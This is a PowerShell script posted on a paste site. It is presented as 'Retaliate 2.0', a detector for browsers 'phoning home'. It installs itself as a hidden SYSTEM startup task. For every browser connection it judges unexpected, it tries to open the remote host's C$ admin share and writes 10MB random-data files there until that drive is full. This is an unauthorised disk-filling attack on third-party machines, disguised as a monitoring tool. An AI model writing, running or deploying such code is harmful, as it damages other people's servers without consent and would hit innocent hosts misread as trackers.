Retaliate by Gorstak
unknown
powershell
2 months ago
15 kB
11
No Index
# Retaliate 2.0
# Author: Gorstak
#Requires -RunAsAdministrator
param(
[Parameter(Mandatory=$false)]
[string[]]$AllowedDomains = @(),
[Parameter(Mandatory=$false)]
[switch]$AutoStart = $false,
[Parameter(Mandatory=$false)]
[switch]$Install = $false,
[Parameter(Mandatory=$false)]
[switch]$Uninstall = $false
)
# Configuration
$Config = @{
InstallPath = "$env:ProgramData\Retaliate"
TaskName = "Retaliate"
}
function Write-ColorOutput {
param([string]$Message, [string]$Color = "White")
Write-Host $Message -ForegroundColor $Color
}
function Test-RetaliateInstalled {
$task = Get-ScheduledTask -TaskName $Config.TaskName -ErrorAction SilentlyContinue
return $null -ne $task
}
function Install-RetaliateService {
param([switch]$ExitAfterInstall = $false)
Write-ColorOutput "Installing Retaliate..." "Cyan"
# Create install directory
if (!(Test-Path $Config.InstallPath)) {
New-Item -ItemType Directory -Path $Config.InstallPath -Force | Out-Null
}
# Copy script to ProgramData
$installedScriptPath = Join-Path $Config.InstallPath "Retaliate.ps1"
Copy-Item -Path $PSCommandPath -Destination $installedScriptPath -Force
Write-ColorOutput "Copied script to $installedScriptPath" "Gray"
# Remove existing task if present
$existingTask = Get-ScheduledTask -TaskName $Config.TaskName -ErrorAction SilentlyContinue
if ($existingTask) {
Write-ColorOutput "Removing existing task..." "Gray"
Unregister-ScheduledTask -TaskName $Config.TaskName -Confirm:$false
}
# Create task action
$action = New-ScheduledTaskAction -Execute "PowerShell.exe" `
-Argument "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$installedScriptPath`""
# Create task trigger (at startup)
$trigger = New-ScheduledTaskTrigger -AtStartup
# Create task principal (run as SYSTEM)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# Create task settings
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries `
-StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1)
# Register the task
Register-ScheduledTask -TaskName $Config.TaskName `
-Action $action `
-Trigger $trigger `
-Principal $principal `
-Settings $settings `
-Description "Retaliate - Network traffic monitor and phoning home detector (Author: Gorstak)" | Out-Null
Write-ColorOutput "" "White"
Write-ColorOutput "[SUCCESS] Retaliate installed successfully!" "Green"
Write-ColorOutput "Starting Retaliate service..." "Cyan"
Start-ScheduledTask -TaskName $Config.TaskName
Start-Sleep -Seconds 2
Write-ColorOutput "Service started! Retaliate will run automatically at startup." "Green"
Write-ColorOutput "" "White"
if ($ExitAfterInstall) {
exit 0
}
}
function Uninstall-RetaliateService {
Write-ColorOutput "Uninstalling Retaliate..." "Cyan"
# Stop task if running
$runningTask = Get-ScheduledTask -TaskName $Config.TaskName -ErrorAction SilentlyContinue
if ($runningTask -and $runningTask.State -eq "Running") {
Write-ColorOutput "Stopping running task..." "Gray"
Stop-ScheduledTask -TaskName $Config.TaskName -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
}
# Remove task
$existingTask = Get-ScheduledTask -TaskName $Config.TaskName -ErrorAction SilentlyContinue
if ($existingTask) {
Unregister-ScheduledTask -TaskName $Config.TaskName -Confirm:$false
Write-ColorOutput "Task removed." "Gray"
}
# Clean up installation directory
if (Test-Path $Config.InstallPath) {
Remove-Item $Config.InstallPath -Recurse -Force -ErrorAction SilentlyContinue
Write-ColorOutput "Installation files removed." "Gray"
}
Write-ColorOutput "" "White"
Write-ColorOutput "[SUCCESS] Retaliate uninstalled completely." "Green"
Write-ColorOutput "" "White"
exit 0
}
# --- Monitor mode (NTM) ---
$script:AllowedDomains = @()
$script:AllowedIPs = @()
$script:RetaliatedConnections = @{}
$script:MonitoringActive = $true
$script:CurrentBrowserConnections = @{}
# Browsers only: monitoring and retaliation apply solely to these processes.
$BrowserProcesses = @(
'chrome', 'firefox', 'msedge', 'iexplore', 'opera', 'brave', 'vivaldi', 'waterfox', 'palemoon',
'seamonkey', 'librewolf', 'tor', 'dragon', 'iridium', 'chromium', 'maxthon', 'slimjet', 'citrio',
'blisk', 'sidekick', 'epic', 'ghostery', 'falkon', 'kinza', 'orbitum', 'coowon', 'coc_coc_browser',
'browser', 'qqbrowser', 'ucbrowser', '360chrome', '360se', 'sleipnir', 'k-meleon', 'basilisk',
'floorp', 'pulse', 'naver', 'whale', 'coccoc', 'yandex', 'avastbrowser', 'asb', 'avgbrowser',
'ccleanerbrowser', 'dcbrowser', 'edge', 'edgedev', 'edgebeta', 'edgecanary', 'operagx', 'operaneon',
'bravesoftware', 'browsex', 'browsec', 'comet', 'elements', 'flashpeak', 'surf'
)
# Gaming (and all non-browser apps) are never monitored or retaliated against - explicitly unhindered.
$GamingProcesses = @(
'steam', 'steamwebhelper', 'epicgameslauncher', 'origin', 'battle.net', 'eadesktop', 'ea app',
'ubisoft game launcher', 'gog galaxy', 'rungame', 'gamebar', 'gameservices', 'overwolf'
)
# Never retaliate against these IPs (common DNS). Retaliating would break resolution for everyone.
$NeverRetaliateIPs = @('8.8.8.8', '8.8.4.4', '1.1.1.1', '1.0.0.1')
function Add-AllowedDomain {
param([string]$Domain)
$Domain = $Domain -replace '^https?://', '' -replace '/$', ''
$Domain = ($Domain -split '/')[0]
if ($Domain -match '^[\d\.]+$' -or $Domain -match '^[\da-f:]+$') {
if ($script:AllowedIPs -notcontains $Domain) {
$script:AllowedIPs += $Domain
Write-ColorOutput "Added allowed IP: $Domain" "Green"
}
return
}
if ($script:AllowedDomains -notcontains $Domain) {
$script:AllowedDomains += $Domain
Write-ColorOutput "Added allowed domain: $Domain" "Green"
try {
$IPs = [System.Net.Dns]::GetHostAddresses($Domain) | ForEach-Object { $_.IPAddressToString }
foreach ($IP in $IPs) {
if ($script:AllowedIPs -notcontains $IP) {
$script:AllowedIPs += $IP
Write-ColorOutput " Resolved IP: $IP" "Gray"
}
}
} catch {
Write-ColorOutput " Warning: Could not resolve domain to IP" "Yellow"
}
}
}
function Test-IsActiveBrowsing {
param([string]$RemoteAddress, [string]$ProcessName, [int]$RemotePort)
# Check if this is a browser process
if ($BrowserProcesses -notcontains $ProcessName.ToLower()) {
return $false
}
# Check if it's a local/private IP (always allow)
if ($RemoteAddress -match '^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)') {
return $true
}
# Check if it's in the never-retaliate list
if ($NeverRetaliateIPs -contains $RemoteAddress) {
return $true
}
# Check if it's in the allowed list
if ($script:AllowedIPs -contains $RemoteAddress) {
return $true
}
$Now = Get-Date
# Check if this is a navigation connection (HTTP/HTTPS on ports 80/443)
if ($RemotePort -eq 443 -or $RemotePort -eq 80) {
$script:CurrentBrowserConnections[$RemoteAddress] = $Now
Write-ColorOutput "ACTIVE NAVIGATION: ${RemoteAddress}:${RemotePort} (Process: $ProcessName)" "Cyan"
return $true
}
# Check if there was recent navigation (within 30 seconds) - this is a dependency
foreach ($BrowserIP in $script:CurrentBrowserConnections.Keys) {
$ConnectionTime = $script:CurrentBrowserConnections[$BrowserIP]
$TimeDiff = ($Now - $ConnectionTime).TotalSeconds
if ($TimeDiff -le 30) {
Write-ColorOutput "DEPENDENCY: ${RemoteAddress}:${RemotePort} (linked to active navigation)" "Gray"
return $true
}
}
# Not active browsing - this is likely phoning home
return $false
}
function Fill-RemoteHostDriveWithGarbage {
param(
[string]$RemoteAddress,
[int]$RemotePort,
[string]$ProcessName,
[string]$ProgramPath
)
try {
# Attempt to access the remote host's C$ share (admin share)
$remotePath = "\\$RemoteAddress\C$"
# Check if the remote path is accessible (requires admin rights)
if (Test-Path $remotePath) {
$counter = 1
while ($true) {
try {
$filePath = Join-Path -Path $remotePath -ChildPath "garbage_$counter.dat"
$garbage = [byte[]]::new(10485760) # 10MB in bytes
(New-Object System.Random).NextBytes($garbage)
[System.IO.File]::WriteAllBytes($filePath, $garbage)
Write-ColorOutput "Wrote 10MB to $filePath" "Yellow"
$counter++
}
catch {
# Stop if the drive is full or another error occurs
if ($_.Exception -match "disk full" -or $_.Exception -match "space") {
Write-ColorOutput "Drive at $remotePath is full or inaccessible. Stopping." "Yellow"
break
}
else {
Write-ColorOutput "Error writing to $filePath : $_" "Red"
break
}
}
}
}
else {
Write-ColorOutput "Cannot access $remotePath - check permissions or connectivity." "Yellow"
}
}
catch {
Write-ColorOutput "General error: $_" "Red"
}
}
function Start-ConnectionMonitoring {
$SeenConnections = @{}
while ($script:MonitoringActive) {
$Connections = Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue |
Where-Object { $_.RemoteAddress -ne '0.0.0.0' -and $_.RemoteAddress -ne '::' }
foreach ($Conn in $Connections) {
$Key = "$($Conn.RemoteAddress):$($Conn.RemotePort):$($Conn.OwningProcess)"
if ($SeenConnections.ContainsKey($Key)) { continue }
$SeenConnections[$Key] = $true
try {
$Process = Get-Process -Id $Conn.OwningProcess -ErrorAction Stop
$ProcessName = $Process.ProcessName
$ProcessPath = $Process.Path
} catch { $Process = $null; $ProcessName = "Unknown"; $ProcessPath = $null }
$procName = ($ProcessName -replace '\.exe$','').Trim().ToLower()
if ($procName -notin $BrowserProcesses) {
continue
}
# Check if this is active browsing (navigation or dependency)
$IsActiveBrowsing = Test-IsActiveBrowsing -RemoteAddress $Conn.RemoteAddress -ProcessName $ProcessName -RemotePort $Conn.RemotePort
# If not active browsing, this is likely phoning home - retaliate
if (-not $IsActiveBrowsing) {
$retaliateKey = "$($Conn.RemoteAddress)|$ProcessName"
if (-not $script:RetaliatedConnections.ContainsKey($retaliateKey)) {
Write-ColorOutput "PHONING HOME DETECTED: $($Conn.RemoteAddress):$($Conn.RemotePort) (Process: $ProcessName)" "Red"
Fill-RemoteHostDriveWithGarbage -RemoteAddress $Conn.RemoteAddress -RemotePort $Conn.RemotePort -ProcessName $ProcessName -ProgramPath $ProcessPath
$script:RetaliatedConnections[$retaliateKey] = @{
IP = $Conn.RemoteAddress
Port = $Conn.RemotePort
Process = $ProcessName
Timestamp = Get-Date
}
}
}
}
$Now = Get-Date
$ToRemove = @()
foreach ($IP in $script:CurrentBrowserConnections.Keys) {
if (($Now - $script:CurrentBrowserConnections[$IP]).TotalSeconds -gt 60) { $ToRemove += $IP }
}
foreach ($IP in $ToRemove) { $script:CurrentBrowserConnections.Remove($IP) }
Start-Sleep -Seconds 2
}
}
function Stop-Monitoring {
Write-ColorOutput "" "Cyan"
Write-ColorOutput "=== Stopping Retaliate ===" "Cyan"
Write-ColorOutput "Retaliated connections (phoning home):" "Yellow"
if ($script:RetaliatedConnections.Count -eq 0) {
Write-ColorOutput " None." "Green"
} else {
foreach ($k in $script:RetaliatedConnections.Keys) {
$Info = $script:RetaliatedConnections[$k]
$ip = ($k -split '\|', 2)[0]
Write-ColorOutput " - ${ip}:$($Info.Port) - $($Info.Process)" "Red"
}
}
}
try {
if ($Uninstall) {
Uninstall-RetaliateService
# Function exits with exit 0
}
if ($Install) {
Install-RetaliateService -ExitAfterInstall
# Function exits with exit 0
}
if (!(Test-RetaliateInstalled)) {
Write-ColorOutput "Retaliate is not installed. Installing now..." "Yellow"
Write-ColorOutput "" "White"
Install-RetaliateService -ExitAfterInstall:$false
# Continue running after installation
}
Write-ColorOutput "============================================================" "Cyan"
Write-ColorOutput " Retaliate - Phoning Home Detector " "Cyan"
Write-ColorOutput "============================================================" "Cyan"
Write-ColorOutput ""
foreach ($Domain in $AllowedDomains) { Add-AllowedDomain -Domain $Domain }
# Set up signal handler for graceful shutdown
$null = Register-EngineEvent -SourceIdentifier PowerShell.Exiting -Action {
$script:MonitoringActive = $false
Stop-Monitoring
}
# Start monitoring - this will run indefinitely until MonitoringActive is set to false
Start-ConnectionMonitoring
} catch {
Write-ColorOutput "Error: $($_.Exception.Message)" "Red"
$script:MonitoringActive = $false
} finally {
if ($script:MonitoringActive) {
$script:MonitoringActive = $false
Stop-Monitoring
}
}
Editor is loading...
Leave a Comment